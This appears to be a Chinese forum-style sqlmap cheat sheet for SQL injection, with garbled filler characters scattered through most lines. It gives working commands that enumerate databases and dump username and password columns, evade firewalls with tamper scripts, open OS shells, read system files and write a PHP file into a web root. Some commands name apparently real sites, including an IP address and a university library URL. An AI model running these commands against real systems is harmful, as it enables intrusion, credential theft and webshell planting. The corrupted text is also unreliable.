/pentest/database/sqlmap
; q$ [; X @7 T2 a9 [9 ]# j& l+ Y6 N! d, E1 M8 t! n j2 N- E
update :::::> in the folder after execute following order : svn update* q, p l1 F* E6 W4 p8 t
% J! E- K# C% H4 _: l
sqlmap.py -r 1.txt --current-db
9 v& t) s' c8 r$ [3 c) w! C; M3 t8 L" ~
3 a/ n9 r% Z( ?/ cv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”' x3 D( P5 { I' }' D6 A" W
8 v5 n. z6 [! U3 }& k! k' b==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
2 a8 }9 Y+ T& w, m1 w猜解数据库
( x- i0 g& _$ w./sqlmap.py -u "injection-url" --dbs
% s6 d0 {3 O* R+ G7 i. Esqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"& T2 L" l* }8 x& ]& ~. _
! R7 Z7 A6 Q7 d8 Y+ `6 @+ M
猜解表名
7 l5 J! X" m, ?! h# _4 }4 \# A5 [./sqlmap.py -u "injection-url" -D database_name --tables2 m/ s5 _( j: D$ I& [ N
" [" D+ Z9 k# I7 m7 a% Tsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"% m3 K' l3 G( R' G7 R9 R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" / P0 _* |# z" b9 o( K
* T# k' f3 d. Z* T. ?
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump) c) r( t6 k8 H
; j7 W# ^ B2 }+ E
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
* E% C8 e* Y7 ssqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"$ e+ h" b5 J# ~3 ~7 j O
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
* I' q5 I9 X5 a6 }8 ksqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"$ F" m; _/ G% T$ E; S
0 M- y6 g* M4 g, w; ]3 h$ P& P) Jsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"# D; P; m& C% I# J" ~& v) R4 o
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
, w8 r; l2 n1 Z2 Rsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
1 }% B* m5 ^7 Q2 n- xsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
- B) d9 e6 @. \sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
6 L2 ^4 i. M2 [0 d/ V( M T8 u9 ?1 L8 V4 M1 b; V8 V" T
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
" t6 `0 t: a8 a6 G7 wsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"- D- J9 {. b- r
8 o2 F" `" T8 i
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
$ n& K! I& y8 U. x# I- E' N& V: {猜解列名% N8 w+ p1 e; @7 ?" h8 X" b
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns7 @% Y7 q7 s1 _6 Y& {' W7 ~
& O1 W1 p$ H; e: [& g2 Isqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" " j2 ~0 \7 V5 I" J0 j
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 9 d; z+ H" v- J6 S
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
8 j/ [1 v. H( @2 q8 A6 w$ B9 R( v H- X( C" a7 l+ l, G! }0 k. ~, m
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"0 ?2 j. j }7 R5 q9 g
&submit=Go/ |* N4 }! t% r# W
猜解值5 O+ m8 d/ o- ?0 O6 y: d' p
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump+ Z; \2 o# Y8 g5 Y: K
========================================================
8 y) L+ s7 u$ o$ i& Z4 B搜索表名中包括mana字符的
, q- x% k' W! C* k/sqlmap.py -u "injection-url" -T mana --search- ~5 q( k5 Y5 u6 q: K
返回一个交互式sql shell
8 d0 b! a9 S4 A9 ~/sqlmap.py -u "injection-url" --sql-shell2 x |+ O, p' Z5 X9 G
读取指定文件(需权限)( c$ U, ~- |+ s
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"+ r5 u1 P" i" w5 y. U* D3 a- P3 l m
查看当前 用户 及 数据库 ) x) d( r9 _7 q1 r* ~4 d9 z) U
/sqlmap.py -u "injection-url" --current-user --current-db9 g* t. L/ x; I( n! M3 b9 M' e1 }
本地文件 写入 远程目标绝对路径
) ~/ A( b, t3 d/ f7 t- L/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
1 D0 x# @5 ^, lsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 8 j" I j# n9 i1 j& h
3 }. y5 _1 ]7 zsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
/ ?: C: f% e* s# d查看某用的权限7 `2 \6 ?+ X6 @" }2 g4 `5 {, R
/sqlmap.py -u "injection-url" --privileges -U root* h+ T5 Q6 S- c- s- n7 i! V
查看当前用户是否为dba
5 `( r# `% `& G% j( R S2 K/sqlmap.py -u "injection-url" --is-dba# P+ L6 B g# a% w- y# G: w
读取所有数据库用户或指定数据库用户的密码
* q K$ a( l4 @% J. A i. Fsqlmap.py -r 1.txt --users --passwords
% D Y3 v2 U" X: p. @ Q* O6 xsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
2 l3 L6 f5 n; C; k' i. F
3 `5 _5 K( v& V. h/ y/sqlmap.py -u "injection-url" --passwords -U root
$ E& b3 P/ ^& {: y3 k0 `/ t9 f: V `2 r. L- d/ J
--start&&--stop 与 --first&&--last 的区别2 I1 I. ^8 b; [# H
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
5 f4 Z0 g% n1 j2 `2 T7 m; n/ i" u1 I( e6 R# J
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)9 Z* K0 s ^5 D& q1 |( d1 p
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
7 F6 W7 U5 [7 v2 S# u0 U/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns2 j- v$ ?) V( g, F* S h- m" D' [
5 l- S8 O& u. ^6 _9 W
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)5 m6 ~7 l8 |9 y: m0 ^: E/ |' s
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
" F, G0 Y; g- r+ \* {) g: C; g, ?
. `3 `- K7 `$ g7 F1 |3 X' C |